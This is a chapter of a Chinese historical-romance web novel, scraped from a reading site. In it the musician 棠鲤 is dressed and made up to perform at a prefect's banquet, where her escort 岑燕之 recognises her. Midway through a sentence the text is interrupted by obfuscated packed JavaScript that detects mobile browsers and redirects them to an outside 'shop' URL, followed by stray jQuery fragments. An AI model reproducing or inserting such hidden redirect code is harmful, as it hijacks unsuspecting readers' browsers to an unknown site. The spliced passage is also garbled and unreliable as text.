默认冷灰
24号文字
方正启体

10. 妆镜台

作者:眠眠大人本书字数:K更新时间:
    第二日一早,岑燕之就坐在厅堂处,用过朝食后就等着棠鲤。


    与他料想的时间差不多,棠鲤背着琵琶从楼下下来,看到岑燕之面对着楼梯而坐,便直接走过去。


    “早啊!”打过招呼,岑燕之指了指一旁的座位,棠鲤便也坐下。


    男人将烙饼和茶水一并放到她面前,棠鲤有些意外。毕竟她可没听说镖师走镖会请自己的主顾吃饭,往常在外用饭也都是棠鲤自觉地出了银钱。


    “谢谢,正好饿了……”说罢,身后的琵琶也不取下来,直接伸手拿过烙饼吃了起来,果然这里很少能吃到口感细腻的面食……


    “昨日去哪了?回得有些晚,坊门都快关了。”


    来了,果然,她猜到他肯定会问。昨日回来的时候,棠鲤太过开心,虽然疑惑为什么那么晚了岑燕之也没回房歇息,但想到他可能有事情便没有与他多说,打过招呼后就上楼睡去了。


    “唔……不瞒你说,我在坊里寻了个弹曲儿的生意,故昨日晚了……”棠鲤咽下饼,喝了一口茶水顺下。


    岑燕之则听闻,皱了皱眉头,“今日也要去?”


    他的声音听起来有些难辨喜怒,棠鲤一时之间摸不着头脑,大早上就生气吗?


    “今日自然也要去的,不然如何拿报酬?”棠鲤吃完站起身,不等岑燕之开口,便出门离去。


    客栈的小二看这桌似是吃完了,正欲过来收拾碗筷,刚起步便被掌柜的拉住了:“去!那边儿的先收!这一桌放放……”


    小二虽然疑惑,但掌柜的话他是听的。客栈掌柜可是人精儿,他可看出来了,这位少侠相貌英俊、身形伟岸令他也印象颇深,一早在堂中便点好了双份的吃食。自己的那份早早用过,另一份倒是放了许久,期间有些凉了还叫他拿去炉子上又热了两回。


    直到同行的貌美小娘子下楼,这才眉头舒展……这不!刚说几句,那小娘子又急匆匆走了,这少侠又有些不甚开心……


    岑燕之发现自己不该如此,但还是得与棠鲤说好,若是她的安危无法保证,那自己想要的“铸剑图”就很难拿到。思及此处,他还是拿起佩刀,正欲追出门看看……谁承想竟遇上了从前朝中的同僚。


    交谈过后才知,对方是家中祖母病重,特向上官批了假,欲回乡探望,正好必经寒州城,感到腹中饥饿,来客栈用些吃食。


    “正好今晚寒州首府大人在府中有宴饮,不若与某同去!”曾经的同僚邀请道,岑燕之几番推辞,那人却不松口,无法,只好答应……


    棠鲤赶到昨日苏律住着的楼阁时,又由昨日的若红姑娘引到楼上。一进屋便看到苏律明显同昨日不太一样。


    较之昨日,今日鬓发整齐,玉冠也换成了更为精致的款式,一身绣满银色竹纹兰草的华丽墨蓝色长袍映着男人略显阴柔的面孔。


    这是棠鲤来到此后见过的第一位长相媲美女子的男人,不禁多看了几眼。


    苏律瞧见她在门口,示意棠鲤直接进来。


    看着来人仍是一身素色衣裳,面上依旧不施半点粉黛,忍不住叹了一口气……


    嗯?


    棠鲤抱着琵琶,随即反应过来,“我确实没什么好看的衣裳……实在是抱歉……”


    苏律没说太多,看了看眼前一身姿色而不自知的女子,无奈开口:“先排练吧,午后再说。”


    棠鲤狠下了功夫,拿出当时考级时的干劲儿,一曲下来,曲波婉转,未出任何错处。


    几番下来已是午时,棠鲤被招待着用了一顿午饭。吃了一口后,棠鲤差点哭出来——真的太久没有吃过这么好的饭菜了……


    用过饭后,苏律率先开口道:“怎么?不合胃口?”


    “并不是,恰相反……实在是许久没吃这么好吃的饭菜了……多谢苏公子!”


    苏律转过头去,只说休憩片刻后继续。


    午后再排练时,苏律明显看上去还是不大满意,棠鲤有些疑惑,鉴于害怕自己拿不到报酬,思虑片刻还是直接问出了口。


    “笑得不够。太守府的夜宴,来得都是达官贵人,在贵人面前绝不可失礼!况且你这身衣裳,我实在是看不下去了……”苏律双手离开琴弦,拉响了身后墙上的绳子,一阵清脆的铃铛声便立刻传来,不多时,若红便出现在门口。


    “棠小娘子请随奴来——”


    棠鲤本想推脱,但又看着这身衣裳,虽然不太清楚这个朝代的衣裳形制,但至少从颜色看来确实不太适合夜宴……便起身随若红而去。


    棠鲤随她到了走廊尽头的另一个房间,房间内陈设倒是简单,若红领着棠鲤在梳妆镜前坐下,自己则在衣柜中翻找一阵,取出了一套水红色和淡蓝色的衣裙,“棠小娘子喜欢什么颜色?”


    棠鲤看着红色和蓝色,指着右边一套说:“这个吧,多谢若红姑娘了。”


    “那棠小娘子随奴来屏风后更衣,稍后奴再给您绾发。”


    棠鲤起初以为只是外衣换上即可,没想到若红让她从里到外都换了新的,棠鲤开始还有些害羞,但看对方都没什么太大的反应,便也不再纠结。


    层层叠叠的衣裙确实繁复,光是内里就有三四件需要穿,差不多半柱香的功夫才穿戴整齐。


    又在妆镜台前坐下,若红轻手拆开棠鲤随意扎起的长发,将其梳顺后,又在妆盒中选了些朱钗绢花摆在台面上,随后手腕灵巧地将棠鲤的头发尽数挽起,棠鲤不由得有些惊叹。


    “若红姑娘手好巧!怎么做到的?”


    若红听闻轻轻笑着回答:“棠小娘子若是经常绾发,时间久了便会了。”


    随后,她将台上的手势一一小心地插入棠鲤发间,“今日时间有些紧张,只能暂时做些简单的发型,奴来给您上妆……”


    若红的手法轻柔,人家如此热情,棠鲤不好要求太多,也没有看画成什么样子,最后她取出口脂,完成了妆容的最后一步。


    “成了。”


    棠鲤睁开眼,看向镜中的自己——是一种之前不曾有过的样子。


    “棠小娘子好颜色!平日里就该多打扮!”若红平日在教坊中见过不少美人,纵使她见多识广,也是被棠鲤的样貌惊得不由得赞叹出口。


    棠鲤有些不好意思,但看着自己收拾一番的后的样子,也着实开心,又想起从前,不由得在心中感叹……如今为了去长安寻归家线索,她已是精疲力尽,哪有条件每日打扮呢?


    回到琴房,苏律正将身前的茶盏斟满,待看见若红身后跟着走进来的女子后,一时间忘记了动作,竟不小心将茶水撒出来些许……


    起身上下打量棠鲤,最后点点头。


    “终于像个女子了,时候不早了,走吧。”


    岑燕之与前同僚在客栈叙旧许久,两人说起如今朝中局势,同僚也扼腕叹息良久,只说宦官误国,其他有关圣上、太子之隙却绝口不提。


    不知不觉间,又到午时,对方再次提出去坊间酒楼吃酒,岑燕之推脱,“闻兄你知道的,某实在是不善饮酒。”


    “无妨!你吃菜!我喝酒!”对方都这么豪爽开口,岑燕之只得陪同。


    谁承想刚入坊间,来到酒楼前,两人一前一后正要进去,一辆马车从前慢慢驶过。


    “青鬃马拉车,寒州少见啊……”同僚说完又向前迈步而去,闻言,岑燕之也瞥了一眼,谁


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224390|197558||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    承想,这一眼倒让他不由得站住——方才那马车中的女子,看着颇有些眼熟……


    其实岑燕之眼力极好,确实没有看错,棠鲤跟着苏律和若红出了门后,就上了太守府派来的马车。


    第一次做马车,棠鲤不禁左右瞅瞅。


    苏律看她样子,笑着开口:“一会儿到了府上,可收着些,莫要东张西望。”这话从前在肃州时,她也听莫安说过……


    棠鲤点点头,安静地抱着琵琶坐端正。


    男子又掀着眼帘看了她一眼,没想到只是稍稍打扮,便完全遮不住她的明艳,思及自身,苏律似是自言自语道:“我从前在西京,见过不少女子凭借自身出挑的样貌搏出前程,自此衣食无忧,甚至可以说是形如贵女也不为过,你如何想?”


    棠鲤听闻,低头细细思索一番,她不确定苏律这番话的用意,不偏不倚道:“每人的选择不同,若是她愿意,也算是一种造化。”


    “造化吗?哼——”


    棠鲤听出了他语气中嘲讽的意味,不知道是说自己还是他口中的“不少女子”,但她今天这一身衣物都是人家借的,赚钱的机会也是人家给的,多说不宜……


    马车又行驶了片刻,在一处巷子里的后门停下,棠鲤随两人下车,仆从还放了马凳,是以就算是裙子较长也方便。


    这应该便是寒城府衙了。


    后门打开,一管家打扮的中年男子叉手一礼后恭敬地请他们进入。


    若红没有跟来,只是恭敬地在门口处目送他们进去。


    两人带着乐器在管家的安排下候在偏厅。


    棠鲤一路上看着府中景色,竟比之前周宅气派不少,周围布景似也多了许多讲究。


    记得苏律提前交代的话,棠鲤不敢随意乱看,安静地随他坐在偏厅的坐榻上。


    “我观你礼仪,似有些不妥之处,你行一礼,我看看。”苏律将古琴放在一边,对棠鲤说道。棠鲤也不否定,她也是来到这里后才习惯叉手礼,还是跟着莫玥儿现学现卖,而玥儿平时又很少讲究,是以她从来没想过这方面的事情……


    站起身来,向苏律行了一礼,苏律则站起身,让她保持叉手的动作,直接上手为她调整细节,还告诉她,若是女子,头部如何做、腕处如何做、腰身又如何做才会更好看。


    棠鲤一一点头牢记,还不忘对苏律道谢,面上没有丝毫不悦。


    苏律观察她的表情,又叫她再做一遍,才点点头表示肯定。


    寒州太守府门前宾客络绎不绝,相熟的见面后纷纷见礼问好,一时之间门前人气儿足,热热闹闹。


    岑燕之也随前同僚进入。


    来到见客的花厅中,跟着府中仆役指引坐在三排。很快,夜宴开始,侍女依次从两侧迎出为宾客们斟酒,又有一批上前为众人布菜。


    很快,夜宴行进到高潮,主人家叫了舞姬上前献舞助兴,岑燕之看过一眼后便收回目光,叫住一侍女,让其换了茶水上桌。


    舞蹈方歇,夜宴主人起身说道从西京教坊请了苏公子入府献艺,又将众人的兴致再次推了起来……


    岑燕之从前在京中就很少应酬,偶尔退却不去的,也是清茶淡酒,很快结束,是以对此无甚兴趣,看向一旁兴致勃勃的同僚,倒是笑了笑,他从未变过……


    “子安!快看!快看那一并上来的乐妓!当真美绝了!”


    子安是岑燕之的字,只有交好的人才会如此亲热称呼,岑燕之衣袖被扯着耳边听着他突然高呼,只当他又喝高了,便抬眼劝酒,话还未出口,目光从厅堂中划过时,竟也一时之间停滞住了动作,薄唇微张,失了言语——


    棠鲤!
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)